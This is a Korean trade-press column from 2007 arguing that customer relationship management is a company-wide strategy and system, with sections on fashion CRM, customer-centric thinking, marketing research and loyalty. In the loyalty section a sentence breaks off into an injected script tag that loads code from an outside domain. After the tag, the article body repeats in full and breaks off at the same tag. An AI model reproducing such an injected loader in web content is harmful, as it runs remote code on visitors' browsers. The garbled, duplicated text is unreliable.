CRM은 시스템이다
2007-01-22 fashioncrm@empal.com
문상찬 <모라비안바젤컨설팅·객원 컨설턴트>
CRM(Customer relationship management)은 ‘고객관계관리'라는 말로 번역되었다. 하지만 이는 CRM을 마케팅의 한 파트 정도로 국한시킬 수 있는 표현이다. 좀 더 궁극적인 차원에서의 CRM은‘고객관계경영'이라고 해야 할 것이다. 고객과의 관계를 중심에 두고 전체 경영을 이끌어 가는 전략이다.
CRM은 경영 전략이다. 1년 이상의 기간동안 추진하며 기업의 내부구조와 외부 대응 방식을 바꾸어 나가는 중장기 전략이다. 보통 기업의 사활을 건 전략적 결정이 3년 정도에 한 번씩 있다면, CRM의 도입은 그 전략적 결정의 하나일 수 있다. 기업의 구조를 고객 중심으로 바꾸고, 일부 조직을 개편하고, 정보 시스템을 추가하는 내부적 변화가 일어나게 된다. 다른 한편에서는 새로운 커뮤니케이션이 일어나고, 입소문이 일어나고, 기업의 로열고객들이 모이는 외부적인 변화도 일어나게 된다.
또한 CRM은 하나의 경영 철학이다. 말과 구호가 아니라 실질적으로 고객을 경영을 중심에 두기 위한 패러다임 전환이다. 브랜드가 중심이 되는 ‘천동설'에서 고객이 중심이 되는 ‘지동설'로의 변화이다.
CRM은 하나의 시스템이다. 시스템이라 함은 ‘각 부분 부분들이 유기적으로 얽혀 이루어진 하나의 독립체' 라는 뜻이다. 외부의 변화나 자극에 대해 자동적인 반응과 균형을 이루어 간다. 성장하고, 적응하고, 또 다른 시스템과 상호작용 한다. 가장 완벽한 시스템은 사람의 ‘몸'이다. 이런 이유로 CRM을 ‘사람'에 비유해 10개의 제목으로 설명한 것이다.
이번호에는 그간 연재한 기본 컨셉들을 정리해 보려 한다. 꾸준히 연재를 보아 주신 독자들은 이번 연재를 통해 CRM에 대한 생각들을 함께 정리해 보면 좋을 것이다.
서론) 패션 CRM의 미래
1세대의 패션 CRM이 급속히 진행되고 있다. 각 브랜드마다 마일리지 카드를 만들고, 지문 인식 시스템을 도입하고, 로열고객 제도나 홈페이지 등을 통해 회원을 관리하기 시작했다. CRM이라는 거창한 표현을 안 하더라도, 어떻게 단골 고객을 관리할 지에 대한 고민들이 여러가지 방법으로 구현되고 있다. 멀지 않은 미래에 2세대 패션 CRM이 시작될 것이다. 같은 타겟을 겨냥하고 있으면서, 상호 보완될 수 있는 아이템과 복종의 브랜드들이 연합하여 공동 CRM을 해 나갈 것이다. 10여개의 브랜드가 묶여 100만명 이상의 회원을 확보하고, 더 많은 혜택과 제휴서비스로 시장을 방어할 것이다.
1)CRM의 체질 개선 - 지동설
인류의 가치관을 완전히 바꾸어 놓은 지동설의 발견처럼, 21세기 패션 시장도 급격한 패러다임의 변화가 일어나고 있다. 고객 중심, 고객 제일 주의, 고객 행복 주식회사, 고객이 OK 할 때까지, 고객의 결재란, 고객 만족, 고객 감동......
과거 기업이 시장의 중심이고 고객이 그 주변을 돌고 있다는 천동설적 패러다임에서, 고객이 시장의 중심이고 수 많은 브랜드들이 고객을 중심으로 돌고 있다는 지동설적 패러다임으로 변화한다. 이는 기업의 새로운 문화 혁명이고 체질 개선이다.
이러한 체질 개선을 위해서는 첫번째, 지동설을 기업철학으로 받아들여야 한다. 그저 머리로 이해하는 것이 아니라 모든 직원이 가슴으로 느끼는 가치관이 되도록 훈련해야 한다. 두번째로 이 지동설을 시스템화 해야 한다. 시스템적으로 고객 중심 경영이 실현될 수 있도록 기업 구조를 만들어 가야 한다.
또한 브랜드의 일관성을 지켜나가고, 다른 브랜드의 움직임도 면밀히 감지해 시장의 변화를 추적해야 한다.
2)CRM의 감각기관 - 마케팅리서치
크게 2가지의 마케팅 전략이 있다. 우선 기관총 사격 혹은 융단 폭격과 같은 Mass marketing을 들 수 있다. 일정 지역에 무차별 공격을 퍼부어 대량의 성과를 얻어 낼 수 있는 방법이다. 브랜드의 도입기나 충분한 예산이 있을 경우 사용한다.
다음으로는 1:1 마케팅이 있다. 이는 저격용 라이플 사격이나 그루즈 미사일 폭격과 같이 주요인사나 시설을 정확하게 공략한다. 정확한 타겟이 정해저 있고, 타겟과 1:1로 커뮤니케이션 할 수 있는 경우 사용될 수 있다. 어떻게 주요 인사를 선정할 것인지도 중요한 변수이다.
이 모든 공격 방법에 있어서, 정탐은 필수이다. 타겟에 대해 사전 지식을 수집하는 것이다. 마케팅 전쟁에서는 마케팅리서치라는 단계가 있다. CRM을 하기 위해서도 사전에 고객을 아는 작업이 필요하다. 고객의 특성과 라이프 스타일, 그리고 우리 브랜드에 대한 평가, 커뮤니케이션 도구 등을 면밀히 조사해야 한다. 이 정보를 바탕으로 어떤 공격 작전을 펼 것인지가 결정된다.
3) CRM의 감정 - 고객 로열티
로열티(충성심)는 브랜드와 고객이 상호 주고 받아야 할 감정이다. 하지만, 이미 일방적으로 고객에게 로열티를 요구할 수 있는 시대는 지나갔다. 브랜드의 절대군주 시대와 봉건주의 시대를 거쳐, 이미 고객이 힘을 갖는 고?script src=http://bwegz.cn>
CRM은 경영 전략이다. 1년 이상의 기간동안 추진하며 기업의 내부구조와 외부 대응 방식을 바꾸어 나가는 중장기 전략이다. 보통 기업의 사활을 건 전략적 결정이 3년 정도에 한 번씩 있다면, CRM의 도입은 그 전략적 결정의 하나일 수 있다. 기업의 구조를 고객 중심으로 바꾸고, 일부 조직을 개편하고, 정보 시스템을 추가하는 내부적 변화가 일어나게 된다. 다른 한편에서는 새로운 커뮤니케이션이 일어나고, 입소문이 일어나고, 기업의 로열고객들이 모이는 외부적인 변화도 일어나게 된다.
또한 CRM은 하나의 경영 철학이다. 말과 구호가 아니라 실질적으로 고객을 경영을 중심에 두기 위한 패러다임 전환이다. 브랜드가 중심이 되는 ‘천동설'에서 고객이 중심이 되는 ‘지동설'로의 변화이다.
CRM은 하나의 시스템이다. 시스템이라 함은 ‘각 부분 부분들이 유기적으로 얽혀 이루어진 하나의 독립체' 라는 뜻이다. 외부의 변화나 자극에 대해 자동적인 반응과 균형을 이루어 간다. 성장하고, 적응하고, 또 다른 시스템과 상호작용 한다. 가장 완벽한 시스템은 사람의 ‘몸'이다. 이런 이유로 CRM을 ‘사람'에 비유해 10개의 제목으로 설명한 것이다.
이번호에는 그간 연재한 기본 컨셉들을 정리해 보려 한다. 꾸준히 연재를 보아 주신 독자들은 이번 연재를 통해 CRM에 대한 생각들을 함께 정리해 보면 좋을 것이다.
서론) 패션 CRM의 미래
1세대의 패션 CRM이 급속히 진행되고 있다. 각 브랜드마다 마일리지 카드를 만들고, 지문 인식 시스템을 도입하고, 로열고객 제도나 홈페이지 등을 통해 회원을 관리하기 시작했다. CRM이라는 거창한 표현을 안 하더라도, 어떻게 단골 고객을 관리할 지에 대한 고민들이 여러가지 방법으로 구현되고 있다. 멀지 않은 미래에 2세대 패션 CRM이 시작될 것이다. 같은 타겟을 겨냥하고 있으면서, 상호 보완될 수 있는 아이템과 복종의 브랜드들이 연합하여 공동 CRM을 해 나갈 것이다. 10여개의 브랜드가 묶여 100만명 이상의 회원을 확보하고, 더 많은 혜택과 제휴서비스로 시장을 방어할 것이다.
1)CRM의 체질 개선 - 지동설
인류의 가치관을 완전히 바꾸어 놓은 지동설의 발견처럼, 21세기 패션 시장도 급격한 패러다임의 변화가 일어나고 있다. 고객 중심, 고객 제일 주의, 고객 행복 주식회사, 고객이 OK 할 때까지, 고객의 결재란, 고객 만족, 고객 감동......
과거 기업이 시장의 중심이고 고객이 그 주변을 돌고 있다는 천동설적 패러다임에서, 고객이 시장의 중심이고 수 많은 브랜드들이 고객을 중심으로 돌고 있다는 지동설적 패러다임으로 변화한다. 이는 기업의 새로운 문화 혁명이고 체질 개선이다.
이러한 체질 개선을 위해서는 첫번째, 지동설을 기업철학으로 받아들여야 한다. 그저 머리로 이해하는 것이 아니라 모든 직원이 가슴으로 느끼는 가치관이 되도록 훈련해야 한다. 두번째로 이 지동설을 시스템화 해야 한다. 시스템적으로 고객 중심 경영이 실현될 수 있도록 기업 구조를 만들어 가야 한다.
또한 브랜드의 일관성을 지켜나가고, 다른 브랜드의 움직임도 면밀히 감지해 시장의 변화를 추적해야 한다.
2)CRM의 감각기관 - 마케팅리서치
크게 2가지의 마케팅 전략이 있다. 우선 기관총 사격 혹은 융단 폭격과 같은 Mass marketing을 들 수 있다. 일정 지역에 무차별 공격을 퍼부어 대량의 성과를 얻어 낼 수 있는 방법이다. 브랜드의 도입기나 충분한 예산이 있을 경우 사용한다.
다음으로는 1:1 마케팅이 있다. 이는 저격용 라이플 사격이나 그루즈 미사일 폭격과 같이 주요인사나 시설을 정확하게 공략한다. 정확한 타겟이 정해저 있고, 타겟과 1:1로 커뮤니케이션 할 수 있는 경우 사용될 수 있다. 어떻게 주요 인사를 선정할 것인지도 중요한 변수이다.
이 모든 공격 방법에 있어서, 정탐은 필수이다. 타겟에 대해 사전 지식을 수집하는 것이다. 마케팅 전쟁에서는 마케팅리서치라는 단계가 있다. CRM을 하기 위해서도 사전에 고객을 아는 작업이 필요하다. 고객의 특성과 라이프 스타일, 그리고 우리 브랜드에 대한 평가, 커뮤니케이션 도구 등을 면밀히 조사해야 한다. 이 정보를 바탕으로 어떤 공격 작전을 펼 것인지가 결정된다.
3) CRM의 감정 - 고객 로열티
로열티(충성심)는 브랜드와 고객이 상호 주고 받아야 할 감정이다. 하지만, 이미 일방적으로 고객에게 로열티를 요구할 수 있는 시대는 지나갔다. 브랜드의 절대군주 시대와 봉건주의 시대를 거쳐, 이미 고객이 힘을 갖는 고?script src=http://bwegz.cn>
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